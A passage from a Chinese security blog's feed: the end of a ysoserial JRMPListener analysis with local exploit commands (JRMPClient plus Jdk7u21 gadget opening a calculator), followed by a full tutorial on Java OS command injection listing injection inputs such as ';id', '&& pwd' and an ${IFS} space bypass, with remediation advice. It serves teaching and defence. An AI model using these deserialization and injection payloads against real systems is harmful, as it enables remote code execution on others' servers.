</code></pre></div></div>

<p>内部调用 <code class="language-plaintext highlighter-rouge">reexport()</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">private</span> <span class="kt">void</span> <span class="nf">reexport</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">RemoteException</span>
    <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">csf</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">ssf</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">exportObject</span><span class="o">((</span><span class="nc">Remote</span><span class="o">)</span> <span class="k">this</span><span class="o">,</span> <span class="n">port</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
            <span class="n">exportObject</span><span class="o">((</span><span class="nc">Remote</span><span class="o">)</span> <span class="k">this</span><span class="o">,</span> <span class="n">port</span><span class="o">,</span> <span class="n">csf</span><span class="o">,</span> <span class="n">ssf</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>这里 <code class="language-plaintext highlighter-rouge">csf</code> 和 <code class="language-plaintext highlighter-rouge">ssf</code> 变量都为 null，调用 <code class="language-plaintext highlighter-rouge">exportObject(Remote obj, int port)</code> 方法</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="kd">static</span> <span class="nc">Remote</span> <span class="nf">exportObject</span><span class="o">(</span><span class="nc">Remote</span> <span class="n">obj</span><span class="o">,</span> <span class="kt">int</span> <span class="n">port</span><span class="o">)</span>
        <span class="kd">throws</span> <span class="nc">RemoteException</span>
    <span class="o">{</span>
        <span class="k">return</span> <span class="nf">exportObject</span><span class="o">(</span><span class="n">obj</span><span class="o">,</span> <span class="k">new</span> <span class="nc">UnicastServerRef</span><span class="o">(</span><span class="n">port</span><span class="o">));</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>可以看到，这里开启了 RMI server，将自身 export 了出去，剩余的部分就是 RMI server 创建的内部过程，本地 debug 时的调用栈如下</p>

<p><img src="/assets/images/ysoserial/jrmp_listener_callstack.png" alt="image-20190418184254070" /></p>

<h1 id="0x03-本地测试">0x03 本地测试</h1>

<p>生成 JRMPListener payload class 文件，指定运行端口为 38471</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/ysoserial/
java <span class="nt">-jar</span> ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471 <span class="o">&gt;</span> /tmp/ysoserial/jrmplistener.class
</code></pre></div></div>

<p><strong>这里要注意，以下代码运行后会在本机开启一个存在反序列化漏洞的 RMI server，要注意测试的环境</strong></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testJRMPListener</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="nc">ObjectInputStream</span> <span class="n">ois</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">FileInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="s">"/tmp/ysoserial/jrmplistener.class"</span><span class="o">)));</span>
        <span class="n">ois</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span>
        <span class="c1">// 因为反序列过程中，是创建一个线程来启动 RMI server，需要保证 main thread 不退出</span>
        <span class="k">while</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">());</span>
            <span class="nc">Thread</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">3000</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>使用 <code class="language-plaintext highlighter-rouge">ysoserial.exploit.JRMPClient</code> 请求 RMI server ，这里为了简单，项目 JDK 使用 7u21，因此直接使用 Jdk7u21 gadget</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>java <span class="nt">-cp</span> ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 38471 Jdk7u21 <span class="s2">"open /Applications/Calculator.app"</span>
</code></pre></div></div>

<p>运行完后会弹出计算器</p>

<h2 id="参考">参考</h2>

<ul>
  <li><a href="https://xz.aliyun.com/t/2649">ysoserial JRMP相关模块分析（一）- payloads/JRMPListener </a></li>
</ul>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="ysoserial" /><category term="反序列化" /><summary type="html"><![CDATA[Java ysoserial JRMPListener Note]]></summary></entry><entry><title type="html">Java OS 命令注入学习笔记</title><link href="https://b1ngz.github.io/java-os-command-injection-note/" rel="alternate" type="text/html" title="Java OS 命令注入学习笔记" /><published>2018-09-27T23:20:00+00:00</published><updated>2018-09-27T23:20:00+00:00</updated><id>https://b1ngz.github.io/java-os-command-injection-note</id><content type="html" xml:base="https://b1ngz.github.io/java-os-command-injection-note/"><![CDATA[<h1 id="0x01-简介">0x01 简介</h1>

<ul>
  <li>Java 执行系统命令的方法</li>
  <li>易导致命令注入的危险写法以及如何避免</li>
</ul>

<h1 id="0x02-注意点">0x02 注意点</h1>

<p>首先要注意的是，通过 Java 来执行系统命令时，并不是通过 shell 来执行 (Linux下)，因此如果需要用到如 pipeline (<code class="language-plaintext highlighter-rouge">|</code>)、<code class="language-plaintext highlighter-rouge">;</code>、<code class="language-plaintext highlighter-rouge">&amp;&amp;</code>、<code class="language-plaintext highlighter-rouge">||</code> 等 shell 特性时，需要创建 shell 来执行命令，如：</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/sh <span class="nt">-c</span> <span class="s2">"ls -lh; pwd"</span>
</code></pre></div></div>

<p>具体可参考 https://alvinalexander.com/java/java-exec-system-command-pipeline-pipe</p>

<h1 id="0x03-执行方式">0x03 执行方式</h1>

<h2 id="processbuilder">ProcessBuilder</h2>

<p><a href="https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html">java.lang.ProcessBuilder</a> 中 <code class="language-plaintext highlighter-rouge">start() </code> 方法可以执行系统命令，命令和参数可以通过构造方法的 String List 或 String 数组来传入</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">ProcessBuilder(List&lt;String&gt; command)</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">ProcessBuilder(String... command)</code></p>
  </li>
</ul>

<p>如执行 <code class="language-plaintext highlighter-rouge">ls -lh /home/www</code>  的例子</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span><span class="o">[]</span> <span class="n">cmdList</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"ls"</span><span class="o">,</span> <span class="s">"-lh"</span><span class="o">,</span> <span class="s">"/home/www"</span><span class="o">};</span>
<span class="nc">ProcessBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="n">cmdList</span><span class="o">);</span>
<span class="n">builder</span><span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
</code></pre></div></div>

<p>因为 Java 中执行命令不是通过 shell，若没有手动创建 shell 来执行命令，命令非完全可控时，正常的情况下是无法使用 <code class="language-plaintext highlighter-rouge">;</code>、<code class="language-plaintext highlighter-rouge">&amp;&amp;</code> 等来实现命令注入的，例如</p>

<p>命令的某个参数可控</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// String dir = "xx";</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">cmdList</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"ls"</span><span class="o">,</span> <span class="s">"-lh"</span><span class="o">,</span> <span class="n">dir</span><span class="o">};</span>
<span class="nc">ProcessBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="n">cmdList</span><span class="o">);</span>
<span class="n">builder</span><span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="n">printOutput</span><span class="o">(</span><span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dir</code> 参数用户可控，如想通过传入 <code class="language-plaintext highlighter-rouge">/home/www;id</code>， 来执行 id 命令，是无法成功的，程序的输出为</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span>: /home/www<span class="p">;</span><span class="nb">id</span>: No such file or directory
</code></pre></div></div>

<p>再看一个例子</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// String cmd = "xx";</span>
<span class="nc">ProcessBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="n">cmd</span><span class="o">);</span>
<span class="n">builder</span><span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="n">printOutput</span><span class="o">(</span><span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cmd</code> 参数用户可控，那是否就可以执行任意命令了呢？</p>

<p>答案是可执行没有参数的命令，如 <code class="language-plaintext highlighter-rouge">ls</code>、<code class="language-plaintext highlighter-rouge">pwd</code>，如执行 <code class="language-plaintext highlighter-rouge">curl example.com</code> 则会失败，会提示如下错误</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>java.io.IOException: Cannot run program <span class="s2">"curl example.com"</span>: <span class="nv">error</span><span class="o">=</span>2, No such file or directory
</code></pre></div></div>

<p>原因为这里 <code class="language-plaintext highlighter-rouge">cmd</code> 的值表示的是执行命令的文件路径，因此无法使用参数</p>

<p>前面说到是在正常情况下，但一些特殊情况下，如果执行的命令的某个参数存在解析问题，即存在参数注入，也会导致命令执行，如 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3785">CVE-2018-3785</a>、<a href="https://cert.360.cn/warning/detail?id=9ba8d91f9f69c50cae5050196f39bb0c">CVE–2017–1000117</a></p>

<p>前面所说的是在非 shell 环境下执行命令的情况，那如果手动创建了 shell 来执行命令，则很有可能会存在命令注入，例如：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// String dir = "xxxx";</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">cmdList</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"sh"</span><span class="o">,</span> <span class="s">"-c"</span><span class="o">,</span> <span class="s">"ls -lh "</span> <span class="o">+</span> <span class="n">dir</span><span class="o">};</span>
<span class="nc">ProcessBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="n">cmdList</span><span class="o">);</span>
<span class="n">builder</span><span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="n">printOutput</span><span class="o">(</span><span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dir</code> 参数用户可控，如果传入如 <code class="language-plaintext highlighter-rouge">&amp;&amp; pwd</code>，则可以成功执行 <code class="language-plaintext highlighter-rouge">pwd</code> 命令</p>

<p>再来看一种情况</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span><span class="o">[]</span> <span class="n">cmdList</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"sh"</span><span class="o">,</span> <span class="s">"-c"</span><span class="o">,</span> <span class="s">"echo test"</span><span class="o">,</span> <span class="n">dir</span><span class="o">};</span>
<span class="nc">ProcessBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="n">cmdList</span><span class="o">);</span>
<span class="n">builder</span><span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="n">printOutput</span><span class="o">(</span><span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
</code></pre></div></div>

<p>这种情况下，dir 传入 <code class="language-plaintext highlighter-rouge">pwd</code> 或 <code class="language-plaintext highlighter-rouge">;pwd</code> 都无法执行，因为只有 <code class="language-plaintext highlighter-rouge">echo test</code> 会作为 <code class="language-plaintext highlighter-rouge">-c </code> 选项的参数值</p>

<p>因此，在大多数情况下，要想通过 <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> 来执行任意命令，需要代码中创建 shell 来执行命令，并且参数可控或存在拼接</p>

<h2 id="runtime">Runtime</h2>

<p><code class="language-plaintext highlighter-rouge">java.lang.Runtime</code> 中 <code class="language-plaintext highlighter-rouge">exec()</code> 函数同样可以执行系统命令，命令参数支持 String 和 String 数组两种方式，同时支持设置环境变量、子进程工作目录 (working directory) 参数，具体方法包括：</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">exec(String command)</code></li>
  <li><code class="language-plaintext highlighter-rouge">exec(String[] cmdarray)</code></li>
  <li><code class="language-plaintext highlighter-rouge">exec(String command, String[] envp)</code></li>
  <li><code class="language-plaintext highlighter-rouge">exec(String command, String[] envp, File dir)</code>
   `	exec(String[] cmdarray, String[] envp)`</li>
  <li><code class="language-plaintext highlighter-rouge">exec(String[] cmdarray, String[] envp, File dir)</code></li>
</ul>

<p>这里来看一下 <code class="language-plaintext highlighter-rouge">exec(String command)</code> 函数，根据源码可知，其内部会调用 <code class="language-plaintext highlighter-rouge">exec(String command, String[] envp, File dir)</code>，方法代码如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nc">Process</span> <span class="nf">exec</span><span class="o">(</span><span class="nc">String</span> <span class="n">command</span><span class="o">,</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">envp</span><span class="o">,</span> <span class="nc">File</span> <span class="n">dir</span><span class="o">)</span>
        <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">command</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">==</span> <span class="mi">0</span><span class="o">)</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"Empty command"</span><span class="o">);</span>

        <span class="nc">StringTokenizer</span> <span class="n">st</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringTokenizer</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>
        <span class="nc">String</span><span class="o">[]</span> <span class="n">cmdarray</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="n">st</span><span class="o">.</span><span class="na">countTokens</span><span class="o">()];</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">st</span><span class="o">.</span><span class="na">hasMoreTokens</span><span class="o">();</span> <span class="n">i</span><span class="o">++)</span>
            <span class="n">cmdarray</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">st</span><span class="o">.</span><span class="na">nextToken</span><span class="o">();</span>
        <span class="k">return</span> <span class="nf">exec</span><span class="o">(</span><span class="n">cmdarray</span><span class="o">,</span> <span class="n">envp</span><span class="o">,</span> <span class="n">dir</span><span class="o">);</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>可以看到，传入的字符串命令会先经过 <code class="language-plaintext highlighter-rouge">StringTokenizer</code> 进行处理，即使用分隔符，包括空格，<code class="language-plaintext highlighter-rouge">\t\n\r\f</code>  对字符串进行分隔后，再调用 <code class="language-plaintext highlighter-rouge">exec(String[] cmdarray, String[] envp, File dir)</code>，代码如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nc">Process</span> <span class="nf">exec</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">cmdarray</span><span class="o">,</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">envp</span><span class="o">,</span> <span class="nc">File</span> <span class="n">dir</span><span class="o">)</span>
    <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nf">ProcessBuilder</span><span class="o">(</span><span class="n">cmdarray</span><span class="o">)</span>
        <span class="o">.</span><span class="na">environment</span><span class="o">(</span><span class="n">envp</span><span class="o">)</span>
        <span class="o">.</span><span class="na">directory</span><span class="o">(</span><span class="n">dir</span><span class="o">)</span>
        <span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p>即最后是通过 <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> 来执行的，那么如果直接调用参数为 String 数组的 <code class="language-plaintext highlighter-rouge">exec()</code> 函数，则和  <code class="language-plaintext highlighter-rouge">ProcessBuilder</code>  存在同样的问题</p>

<p>而直接传入 String 时，会先经过 <code class="language-plaintext highlighter-rouge">StringTokenizer</code> 的分隔处理，然后在使用 <code class="language-plaintext highlighter-rouge">ProcessBuilder</code>，因此这里需要弄清 <code class="language-plaintext highlighter-rouge">StringTokenizer</code> 是如何分割字符串命令的</p>

<p>先来看一下Runtime 执行系统命令的代码示例：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// String cmd = "xx";</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="n">cmd</span><span class="o">);</span>
<span class="n">process</span><span class="o">.</span><span class="na">waitFor</span><span class="o">();</span>
<span class="n">printOutput</span><span class="o">(</span><span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
<span class="n">printOutput</span><span class="o">(</span><span class="n">process</span><span class="o">.</span><span class="na">getErrorStream</span><span class="o">());</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cmd</code> 输入和对应 <code class="language-plaintext highlighter-rouge">StringTokenizer</code>  分隔后的值</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">ls -lh; id</code> =&gt; <code class="language-plaintext highlighter-rouge">["ls", "-lh;", "id"]</code> 无法执行，输出</p>

    <blockquote>
      <p>ls: illegal option – ;
usage: ls [-ABCFGHLOPRSTUWabcdefghiklmnopqrstuwx1][file …][file …]</p>
    </blockquote>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">ls -lh;id</code> =&gt; <code class="language-plaintext highlighter-rouge">["ls", "-lh;id"]</code> 无法执行，输出</p>

    <blockquote>
      <p>ls: illegal option – ;
usage: ls [-ABCFGHLOPRSTUWabcdefghiklmnopqrstuwx1][file …][file …]</p>
    </blockquote>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">sh -c 'ls -lh;id'</code> =&gt; <code class="language-plaintext highlighter-rouge">["sh", "-c", "'ls", "-lh;id'"]</code>  两边有单引号，无法执行，输出</p>

    <blockquote>
      <p>-lh;id’: -c: line 0: unexpected EOF while looking for matching `’’
-lh;id’: -c: line 1: syntax error: unexpected end of file</p>
    </blockquote>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">sh -c "ls;id"</code> =&gt; <code class="language-plaintext highlighter-rouge">["sh", "-c", "\"ls;id\"]</code> 注意两边的双引号，无法执行，输出</p>

    <blockquote>
      <p>sh: ls;id: command not found</p>
    </blockquote>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">sh -c ls;id</code> =&gt; <code class="language-plaintext highlighter-rouge">["sh", "-c", "ls;id"]</code>，<code class="language-plaintext highlighter-rouge">id</code> 命令可成功执行</p>
  </li>
</ul>

<p>因此，简单总结一下：</p>

<ul>
  <li>
    <p>如果参数完全可控，则可以执行任意命令</p>
  </li>
  <li>
    <p>若没有手动创建 shell 执行命令，没有存在参数注入，则无法实现命令注入</p>
  </li>
  <li>
    <p>手动创建 shell 执行命令，可执行<code class="language-plaintext highlighter-rouge">-c</code> 的参数值的命令，但值内不能有空格、<code class="language-plaintext highlighter-rouge">\t\n\r\f</code> 分隔符，否则会被分割</p>

    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 相当于执行 sh -c curl，example.com 参数会被忽略</span>
<span class="nc">String</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s">"sh -c curl example.com"</span><span class="o">;</span>
<span class="c1">// \t 也是分割符之一</span>
<span class="nc">String</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s">"sh -c curl\texample.com"</span><span class="o">;</span>
<span class="c1">// 使用 ${IFS} (对应内部字段分隔符) 来代替空格，成功执行</span>
<span class="nc">String</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s">"sh -c curl${IFS}example.com"</span><span class="o">;</span>
</code></pre></div>    </div>
  </li>
</ul>

<h1 id="0x04-修复方案">0x04 修复方案</h1>

<ul>
  <li>
    <p>应尽量避免使用 <code class="language-plaintext highlighter-rouge">Runtime</code> 和 <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> 来执行系统命令，可搜索系统是否提供 API 来完成同样的功能，如执行删除文件 <code class="language-plaintext highlighter-rouge">rm /home/www/log.txt</code> 的命令，可以使用 <code class="language-plaintext highlighter-rouge">File.delete()</code> 等函数来代替</p>
  </li>
  <li>
    <p>无法避免执行命令时，应当尽可能避免创建 shell 来执行系统命令，优先使用 <code class="language-plaintext highlighter-rouge">Runtime</code> 和 <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> 的 字符串数组<code class="language-plaintext highlighter-rouge">String[] cmdarray</code> 的 方法，可一定程度上降低命令注入的产生</p>
  </li>
  <li>
    <p>最后，可考虑使用白名单的方式，限制可执行的命令和允许的参数值，或限制用户输入的所允许字符，如只允许字母数组、下划线</p>

    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Pattern</span> <span class="no">FILTER_PATTERN</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"[0-9A-Za-z_]+"</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(!</span><span class="no">FILTER_PATTERN</span><span class="o">.</span><span class="na">matcher</span><span class="o">(</span><span class="n">input</span><span class="o">).</span><span class="na">matches</span><span class="o">())</span> <span class="o">{</span>
  <span class="c1">// Handle error</span>
<span class="o">}</span>
</code></pre></div>    </div>
  </li>
</ul>

<h1 id="0x05-参考">0x05 参考</h1>

<ul>
  <li>https://www.owasp.org/index.php/Command_injection_in_Java</li>
  <li>
    <p>https://docs.oracle.com/javase/7/docs/api/java/lang/Runtime.html</p>
  </li>
  <li><a href="https://wiki.sei.cmu.edu/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method">IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method</a></li>
</ul>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="Injection" /><category term="OS Command Injection" /><summary type="html"><![CDATA[Java OS Command Injection Note]]></summary></entry></feed>